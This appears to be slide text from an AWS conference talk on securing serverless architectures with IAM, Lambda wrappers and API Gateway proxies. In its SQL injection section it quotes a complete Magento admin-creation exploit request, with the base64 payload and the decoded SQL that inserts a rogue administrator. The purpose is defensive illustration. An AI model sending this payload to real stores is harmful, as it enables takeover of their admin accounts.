AWS re:Invent 2016: Securing Serverless Architectures, and API Filtering at Layer 7 (SAC310)

© 2016, Amazon Web Services, Inc. or its Affiliates. All rights reserved.

Dave Walker, AWS

James Brown, Alert Logic

November 30, 2016

SAC310

Securing Serverless Architectures

and API Filtering at Layer 7

What to expect from the session

• Serverless architectures: What they are

• “Caveat emptor”?

• Constraining access and permissions

• Wrapping AWS Lambda functions

• Amazon API Gateway and AWS service API endpoints

• Generalizing across AWS services

• Conclusions

Serverless architectures:

What they are

Serverless architectures: What they are

• “The shiny new thing”

• …though Amazon S3 has been around for 10 years, now

• “Object stores, object transmission and aggregation

pipelines, object format transformers, standalone code

execution systems”

• Abstract (and sometimes container) services

• AWS looks after the underlying OS, high availability, scaling,

often application, transparently

• Often event driven (Lambda triggers etc.)

• “Customers only need to worry about their functionality”

Serverless AWS services

AWS Certificate Manager AWS CodeCommit Amazon Elastic Transcoder AWS Service Catalog

API Gateway AWS CodeDeployAWS Identity and Access

Management Amazon SES

Amazon AppStream AWS CodePipeline AWS IoT Amazon S3

Auto Scaling Amazon Cognito Amazon Kinesis Amazon SNS

AWS Billing and Cost Management AWS Config AWS KMS Amazon SQS

AWS CloudFormationAWS Database Migration

Service Lambda Amazon SWF

Amazon CloudFront Amazon DynamoDB Amazon Machine Learning Amazon SimpleDB

Amazon CloudSearch Amazon EFS AWS OpsWorks AWS WAF

AWS CloudTrail AWS Elastic Beanstalk Amazon QuickSight Amazon WorkDocs

Amazon CloudWatch Elastic Load Balancing Amazon Route 53 Amazon WorkMail

For example

InternetWebsite

Activity

indicator

Chat service

Activity

Messages

Search service

DynamoDB

Streams

Amazon

Elasticsearch

Service

Web hostingTwilio

Slack chat

API Gateway

AWS IoT

Back-end logic

“Caveat emptor”?

“Everything starts with a threat model”

• STRIDE, DREAD, others

• Identify:

• Actors

• Vectors

• “Bad stuff that could happen when bad people get creative”

• Probabilities and consequences of bad stuff happening

• Apply technical and procedural mitigations

• All the way up the OSI stack, from network to application

Attack vectors

• Application-level and API-level attacks

• “If it takes input, it likely has an in-band attack vector”

• “If it has a control point, it likely has an out-of-band attack

vector”

• “Even if it doesn’t itself have a useful compromise, it might be

a useful propagation vector”

• A successful attack = disruption or corruption of service

output, or reduction in responsiveness to future service

calls, or being a conduit of “bad content” to vulnerable

consumers of the service

• Consider the OWASP Top 10 and other application-level

attacks

Control points and out-of-band attacks

• Everything in our list has an API endpoint

• API endpoints are exposed to the Internet over HTTPS, using

TLS 1.2 and unidirectional trust via s2n

• API endpoints are scaled, rate-managed, and connection-

monitored

• API endpoint calls need Signature Version 4

• SHA256 HMAC with secret access key (240-bit entropic) over

REST or Query request

• REST and Query calls are checked for formation correctness

• Looking pretty well-covered

In-band attacks

There are more variables here; consider access methods

and content sizes:Service Lambda method Input

Amazon S3 Push Arbitrary size

DynamoDB Pull 400 K per record

Amazon Kinesis Pull1 MB per blob per shard per second

Amazon SNS Push 256 K per message

Amazon SES Push10 MB per message (base64encoded)

Amazon SQS 256 K per message

Amazon Elasticsearch Service 1 MB per document

AWS CodeCommit 6 MB per object / tag / tree

Amazon Cognito Max 20 MB per identity

Amazon WorkMail Max 25 MB per message

Amazon CloudWatch Logs Push Max 1048576 bytes per batch

Constraining permissions

IAM is your first port of call

• Quickest and highly effective way to reduce risk of

serverless “misbehavior” at data level

• All API access should be role based

• Roles can be given to EC2 instances and Lambda functions

• Roles use ephemeral AWS STS tokens rather than static keys

• Reduces consequences of static key mishandling, no motivation

to hard-wire into code

• Cross-account access gets close to Mandatory Access

Control

• See video of presentation from UK Security Roadshow:

https://youtu.be/CNSaJs7pWjA

IAM is your first port of call

• API calls can be constrained in IAM by source IP

address (mostly – but see later)

• Get the AWS range from https://ip-

ranges.amazonaws.com/ip-ranges.json

• We could use this later to ensure that only our wrapper

functions can call our main Lambda functions or the real API

endpoints

• Also, verify when permissions were last used

• See

https://blogs.aws.amazon.com/security/post/Tx280RX2WH6

WUD7/Remove-Unnecessary-Permissions-in-Your-IAM-

Policies-by-Using-Service-Last-Access

https://ip-ranges.amazonaws.com/ip-ranges.json

https://blogs.aws.amazon.com/security/post/Tx280RX2WH6WUD7/Remove-Unnecessary-Permissions-in-Your-IAM-Policies-by-Using-Service-Last-Access

Wrapping Lambda functions

Let’s start with Lambda

Why it’s a great test case

• It can take input from (almost) anywhere

• It can do (almost) anything with that input, given appropriate

permissions

• It can output (almost) anything to (almost) anywhere

• Customers have control over what happens between input

and output

Let’s start with Lambda

Why it’s a great test case

• It can take input from (almost) anywhere

• It can do (almost) anything with that input, given appropriate

permissions

• It can output (almost) anything to (almost) anywhere

• Customers have control over what happens between input

and output

“You can write insecure code in any language (including

Node.js, Java, Python, and anything you can call from

them…)”

Security rule # 1

Security rule # 1Sanitize user input


S3 BucketAWS Lambda

API endpoint


S3 BucketAWS Lambda AWS Lambda AWS LambdaAmazon API

Gateway

New “back end”

New “front end”

Our original functionTrigger event source

API endpoint


S3 BucketAmazon API

Gateway

1. Event triggers wrapper

API endpointAWS Lambda AWS Lambda AWS Lambda


S3 BucketAmazon API

Gateway


2. Wrapper passes trigger data

to analyzer



S3 BucketAmazon API

Gateway

3. Analyzer reads data



to analyzer



S3 BucketAmazon API

Gateway




to analyzer

4. Wrapper invokes functionAPI endpoint

AWS Lambda AWS Lambda AWS Lambda


S3 BucketAmazon API

Gateway

5. Function reads data and processes as normal




to analyzer

4. Wrapper invokes functionAPI endpoint

AWS Lambda AWS Lambda AWS Lambda

Considerations

Sync vs async

Machine learning

Malware

XSS / SQLi

SQLi?

Seriously???

In 2016???

SQLi?

Seriously???

In 2016???

Generic

SQLi

39%

POST /admin/Cms_Wysiwyg/directive/index/ HTTP/1.1

Host: 127.0.1.1

Content-Length: 999

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate, compress

Accept: */*

User-Agent: python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-32-generic

filter=cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTMmcG9wdWxhcml0eVtmaWVsZF9l

eHByXT0wKTtTRVQgQFNBTFQgPSAncnAnO1NFVCBAUEFTUyA9IENPTkNBVChNRDUoQ09OQ0FUKCBAU0F

MVCAsICdmb3JtZScpICksIENPTkNBVCgnOicsIEBTQUxUICkpO1NFTEVDVCBARVhUUkEgOj0gTUFYKG

V4dHJhKSBGUk9NIGFkbWluX3VzZXIgV0hFUkUgZXh0cmEgSVMgTk9UIE5VTEw7SU5TRVJUIElOVE8gY

GFkbWluX3VzZXJgIChgZmlyc3RuYW1lYCwgYGxhc3RuYW1lYCxgZW1haWxgLGB1c2VybmFtZWAsYHBh

c3N3b3JkYCxgY3JlYXRlZGAsYGxvZ251bWAsYHJlbG9hZF9hY2xfZmxhZ2AsYGlzX2FjdGl2ZWAsYGV

4dHJhYCxgcnBfdG9rZW5gLGBycF90b2tlbl9jcmVhdGVkX2F0YCkgVkFMVUVTICgnRmlyc3RuYW1lJy

wnTGFzdG5hbWUnLCdlbWFpbEBleGFtcGxlLmNvbScsJ2Zvcm1lJyxAUEFTUyxOT1coKSwwLDAsMSxAR

VhUUkEsTlVMTCwgTk9XKCkpO0lOU0VSVCBJTlRPIGBhZG1pbl9yb2xlYCAocGFyZW50X2lkLHRyZWVf

bGV2ZWwsc29ydF9vcmRlcixyb2xlX3R5cGUsdXNlcl9pZCxyb2xlX25hbWUpIFZBTFVFUyAoMSwyLDA

sJ1UnLChTRUxFQ1QgdXNlcl9pZCBGUk9NIGFkbWluX3VzZXIgV0hFUkUgdXNlcm5hbWUgPSAnZm9ybW

UnKSwnRmlyc3RuYW1lJyk7&___directive=e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2V

hcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ&forwarded=1

POST /admin/Cms_Wysiwyg/directive/index/ HTTP/1.1

Host: 127.0.1.1

Content-Length: 999

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate, compress

Accept: */*

User-Agent: python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-32-generic

filter=cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTMmcG9wdWxhcml0eVtmaWVsZF9l

eHByXT0wKTtTRVQgQFNBTFQgPSAncnAnO1NFVCBAUEFTUyA9IENPTkNBVChNRDUoQ09OQ0FUKCBAU0F

MVCAsICdmb3JtZScpICksIENPTkNBVCgnOicsIEBTQUxUICkpO1NFTEVDVCBARVhUUkEgOj0gTUFYKG

V4dHJhKSBGUk9NIGFkbWluX3VzZXIgV0hFUkUgZXh0cmEgSVMgTk9UIE5VTEw7SU5TRVJUIElOVE8gY

GFkbWluX3VzZXJgIChgZmlyc3RuYW1lYCwgYGxhc3RuYW1lYCxgZW1haWxgLGB1c2VybmFtZWAsYHBh

c3N3b3JkYCxgY3JlYXRlZGAsYGxvZ251bWAsYHJlbG9hZF9hY2xfZmxhZ2AsYGlzX2FjdGl2ZWAsYGV

4dHJhYCxgcnBfdG9rZW5gLGBycF90b2tlbl9jcmVhdGVkX2F0YCkgVkFMVUVTICgnRmlyc3RuYW1lJy

wnTGFzdG5hbWUnLCdlbWFpbEBleGFtcGxlLmNvbScsJ2Zvcm1lJyxAUEFTUyxOT1coKSwwLDAsMSxAR

VhUUkEsTlVMTCwgTk9XKCkpO0lOU0VSVCBJTlRPIGBhZG1pbl9yb2xlYCAocGFyZW50X2lkLHRyZWVf

bGV2ZWwsc29ydF9vcmRlcixyb2xlX3R5cGUsdXNlcl9pZCxyb2xlX25hbWUpIFZBTFVFUyAoMSwyLDA

sJ1UnLChTRUxFQ1QgdXNlcl9pZCBGUk9NIGFkbWluX3VzZXIgV0hFUkUgdXNlcm5hbWUgPSAnZm9ybW

UnKSwnRmlyc3RuYW1lJyk7&___directive=e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2V

hcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ&forwarded=1

popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);

SET @SALT = 'rp';

SET @PASS = CONCAT(MD5(CONCAT( @SALT , 'forme') ), CONCAT(':', @SALT ));

SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;

INSERT INTO àdmin_user` (`firstname`, `lastname`,èmail`,ùsername`,`password`,`created`,`lognum`,`reload_acl_flag`,ìs_active`,èxtra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','[email protected]','forme',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());

INSERT INTO àdmin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = 'forme'),'Firstname');


JavaScript

login pageLambda wrapper function

AWS Lambda

1. User submits user

name/password

3. Wrapper passes data to SQLi analyzer

4. Wrapper invokes function

RDS DB

instance

Amazon

Cognito

2. Login page passes input to Lambda function

5. Validate computed hash

6. Get token from Amazon Cognito

Lambda wrapper

Result with successful login

Result with SQLi attempt

API Gateway and proxying

AWS API endpoints

API Gateway and API endpoints

S3 BucketAmazon API

Gateway

New “back end”


API Gateway and API endpoints

• Consider deploying API Gateway as a protective proxy

onto the main AWS API endpoints

• Can rate-limit calling frequency

• Can have back-end Lambda functions on each of REST GET,

PUT, POST, PATCH, DELETE, HEAD, OPTIONS to check

call content

• Supports Signature Version 4 and generates logs

• So we have a back-end wrapper function

• …But we need to make API Gateway the target(s) for

calls to API endpoints, in our main Lambda function…

• Easy!

Endpoint mappings in boto and Java SDK

{

"autoscaling": {

"ap-northeast-1": "autoscaling.ap-northeast-1.amazonaws.com",


"ap-southeast-1": "autoscaling.ap-southeast-1.amazonaws.com",


"cn-north-1": "autoscaling.cn-north-1.amazonaws.com.cn",

"eu-central-1": "autoscaling.eu-central-1.amazonaws.com",

"eu-west-1": "autoscaling.eu-west-1.amazonaws.com",

"sa-east-1": "autoscaling.sa-east-1.amazonaws.com",

"us-east-1": "autoscaling.us-east-1.amazonaws.com",

"us-gov-west-1": "autoscaling.us-gov-west-1.amazonaws.com",

"us-west-1": "autoscaling.us-west-1.amazonaws.com",

"us-west-2": "autoscaling.us-west-2.amazonaws.com"

},

Proxying an AWS API endpoint

• Hack the in-environment SDK for your own main

Lambda function!

• Two-stage function needed, in the execution context

1. Verify that the endpoints as defined in the SDK are your own

API gateways rather than the AWS API endpoints; set them

if not

2. Invoke the actual “doing stuff” function

Generalizing across

AWS services

AWS IAM

AWS

Lambda

Amazon API

GatewayAPI endpoint

Role

<Resources>

Base proxy architecture

AWS IAM

API endpoint

{

"autoscaling": {





(etc)

• boto/boto/endpoints.json and aws-java-sdk-

core/src/main/resources/com/amazonaws/partitions/endpoints.json looks like:

• Hack your client's own SDK!

• Remap API endpoint FQDNs to your API gateways

• API Gateway standard HTTPS certs are also rooted in amazonaws.com

• Cert pinning in clients and their SDKs therefore shouldn't be a problem


AWS

Lambda

Amazon API

Gateway

Role

<Resources>

http://amazonaws.com/

AWS IAM

API endpoint

Sigv4 / HTTPS

/ tls1.2

• Set API Gateway up to use Signature Version 4

• (It's pretending to be an API endpoint, after all)


AWS

Lambda

Amazon API

Gateway

Role

<Resources>

AWS IAM

API endpoint

• RESTful GET / POST (Amazon S3 and a few others)

• or GET <query URL>

• Pass query URLs to Lambda function unmodified for decomposition and analysis there

• Modify RESTful GETs / POSTs as little as possible


AWS

Lambda

Amazon API

Gateway

Role

<Resources>

AWS IAM

API endpoint

HTTPS

• Set API Gateway to use HTTPS to invoke Lambda function and pass data


AWS

Lambda

Amazon API

Gateway

Role

<Resources>

AWS IAM

API endpoint

• "Do something interesting, as programmed"

• ...or reframe the API call as a new Signature Version 4 call coming from the Lambda function,

targeting the resource account, and send it to an appropriate real API endpoint

• Note that responses coming from the API endpoint need to be reframed with the correct account ID

before being returned to the client

• This also has interesting implications but let's not get ahead of ourselves


AWS

Lambda

Amazon API

Gateway

Role

<Resources>

AWS IAM

API endpoint

• Cross-account role from resource account

• Expected to typically be "most permissions for a given service, commensurate with the real API

endpoint we're fronting"


AWS

Lambda

Amazon API

Gateway

Role

<Resources>

AWS IAM

API endpoint

Sigv4 /

HTTPS /

tls1.2


• Lambda function makes Signature Version 4 call to AWS API endpoint in the identity of its

role

AWS

Lambda

Amazon API

Gateway

Role

<Resources>

AWS IAM

API endpoint

• IAM policy assigns relevant permissions to Lambda function role

• IAM permissions in resource account are NOT given to any actual clients or their

users

• (... Can you tell where I'm heading, yet?)


AWS

Lambda

Amazon API

Gateway

Role

<Resources>

AWS IAM

API endpoint

• If input is a query URL, make copy and decompose (such as Python urlparse)

• Compare against "exceptional actions" (in a great big case / break construct with appropriate Boolean

bits; this is how policy gets encoded)

• If no "exceptional action," reframe as Signature Version 4 request from the Lambda function to the

resource account, and submit to actual API endpoint for resources account using cross-account role

• Otherwise "do something interesting, as programmed" (such as throw an error indicating breach of policy)

as an "exceptional action"

• Example: "aws ec2 create-volume" without a "key" argument returns "401: A nonencrypted EBS volume?

That would be a breach of our policy!"

Interesting uses #1: “Pre-emptive Config rules”

AWS

Lambda

Amazon API

Gateway

Role

<Resources>

AWS IAM

API endpoint

• Not all AWS service-calling mechanisms support IAM conditions based on API call source IP address today

• See http://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_examples.html

• Filtering on source IP in a Lambda function enables such filtering on services that don’t currently support

this

• As the Lambda function calls the actual AWS API endpoint with a role that isn’t assigned to any human

users, no source IP check on the Lambda function is actually necessary against the actual call to the

resource-affecting API

Interesting uses #2: “Add source IP restrictions”

AWS

Lambda

Amazon API

Gateway

Role

<Resources>

AWS IAM

API endpoint

• Automagically offload payload crypto for SQS, etc.

• Lambda function role requires a cross-account encrypt grant on a KMS key

• Consuming endpoint needs to be able to support a role (or have its data be consumed by an entity that

does) and be able to make a decrypt call to KMS in accordance with the policy

AWS KMS

Data

encryption key

Amazon

SQSInstance

Role

Interesting uses #3: “Crypto offload for SQS etc.”

AWS

Lambda

Amazon API

Gateway

Role

AWS IAM

API endpoint

Amazon

SQS

• Signed action preapproval messages go onto an SQS queue

• Tuples of approver signature, approved actor (can be wildcarded), approved action (wildcardable, can be full

explicit query URL), optional time window of permissibility

• Actor can have approval for the action in IAM but Lambda function can still block and raise error if appropriate

approver message not found on the queue

• Lambda function searches the queue, allows calls if a preapproval message exists (and consumes the

message), returns a 401 if not

Interesting uses #4: “AWS API workflow approvals”

AWS

Lambda

Amazon API

Gateway

Role

<Resources>

AWS IAM

API endpoint

Third-party

"badness analyzer"

• Automagically scan payloads for SQS and other inline content for potential malware

• See "antimalware" clause in UK Government "Cyber Essentials" and other standards that various

customers are mandated to comply with

Interesting uses #5: “WAF for the AWS API”

AWS

Lambda

Amazon API

Gateway

Role

<Resources>

Services with Lambda trigger support

• Config

• CloudWatch

• S3

• DynamoDB

• Amazon Kinesis

• SNS

• SES

• Amazon Cognito

• CloudFormation

Conclusions

Threats and mitigations

• IAM is your first port of call for limiting API calls and their

scope

• Cross-account access can also be useful here

• API endpoints are well protected, but API gateways can

add hooks for further protection at Layer 7 to any service

• though they’re most applicable to serverless ones

• Lambda functions can provide useful wrap / tap /

inspection / filter hook points and horizon-splits for

queues, pipelines – and other Lambda functions

Extending IAM and other services’ filtering

• Proxying AWS API endpoints with API gateways allows

for richer control and filtering options

• Fine-grained API call accept / reject

• API caller-transparent message body crypto offload

• API caller-transparent badness filtering on payloads

• Workflow-based call preapproval filtering

• Anything else a Turing-powerful language can call or do,

when given appropriate AWS permissions

• (provided it can do it in <30 seconds)

• Try it out, and please let us know about further use

cases!

“One more thing”(…and work in progress)

Food for thought?

• Full disclosure: I ❤️ Mandatory Access Control

• Mandatory Access Control = (among other things, including

immutability and constraint of visibility of policy) no, or a

tightly constrained and far less privileged, root user

• Glacier vault lock = first in-AWS-account MAC feature

• How can we constrain or remove root on an AWS

account, properly?

• There are customers who want this (govt. depts., banks)

• Not fully achievable without IAM engineering

• We can already put root beyond use with MFA, but it’s still

“findable”

• Could we change this and completely mask an account?

Food for thought?

• We can mask PII in CloudTrail logs

• Bertram Dorn has a Lambda function for it

• Originally intended as a proposal to address considerations in

upcoming German privacy law

• Can be generalized to other consistent AWS log formats

Food for thought?

• Modify it to mask AWS account IDs in:

• CloudTrail logs

• Billing records

• ELB, CloudFront, Amazon VPC flow log, etc. records

• ARNs in general (as API proxy calls are made to the proxy

account, rather than the resource account)

• …?

• If we also nest our API proxies, we can do this:

AWS account: resources

AWS account: abstraction, filtering

and aggregation

AWS account: front end

AWS

LambdaAmazon API

Gateway

Amazon API

Gateway

AWS

Lambda

Amazon API

Gateway

AWS

Lambda

AWS Account: log

aggregation and

anonymization

AWS account: front-end

API Endpoints

AWS

Lambda

Role

Bucket Bucket

AWS account:

anonymized

logs

AWS

Lambda

Bucket

AWS account: bill

aggregation and

anonymization

Bucket

AWS account:

anonymized

bills

Role

Role

Role

Role

Food for thought?

• Only users with profiles in accounts inside the red oval,

get visibility of the actual resource account’s ID

• By assigning the permissions in the roles of the Lambda

functions running in the front-end account(s), the

abstraction, filtering, and aggregation account defines

the maximum set of permissions over the resource

account that each front-end account can assign to its

users

• ...and this policy isn’t exposed to the front-end accounts

Food for thought?

• This gives mandatory access control over the resource

account’s AWS API

• It generalizes across all APIs and API endpoints (in general

public regions)

• QED

• (subject to the closure of 1 “gap” an EC2 instance can get

account ID info from the metadata service; this is the bit

which is “in progress”…)

Thank you!

Credits and thanks

• Bertram Dorn, AWS specialist SA: Log filtering invention

and Lambda function, workflow approval invention

• The API Gateway and Lambda service teams: “Building

the blocks”

• The Glacier vault lock and S3 teams: Proving Mandatory

Access Control can be done in AWS

Remember to complete

your evaluations!

Related sessions

Date post:	23-Jan-2018
Category:	Technology
Upload:	amazon-web-services
View:	1,619 times
Download:	0 times

AWS re:Invent 2016: Securing Serverless Architectures, and API Filtering at Layer 7 (SAC310)

Technology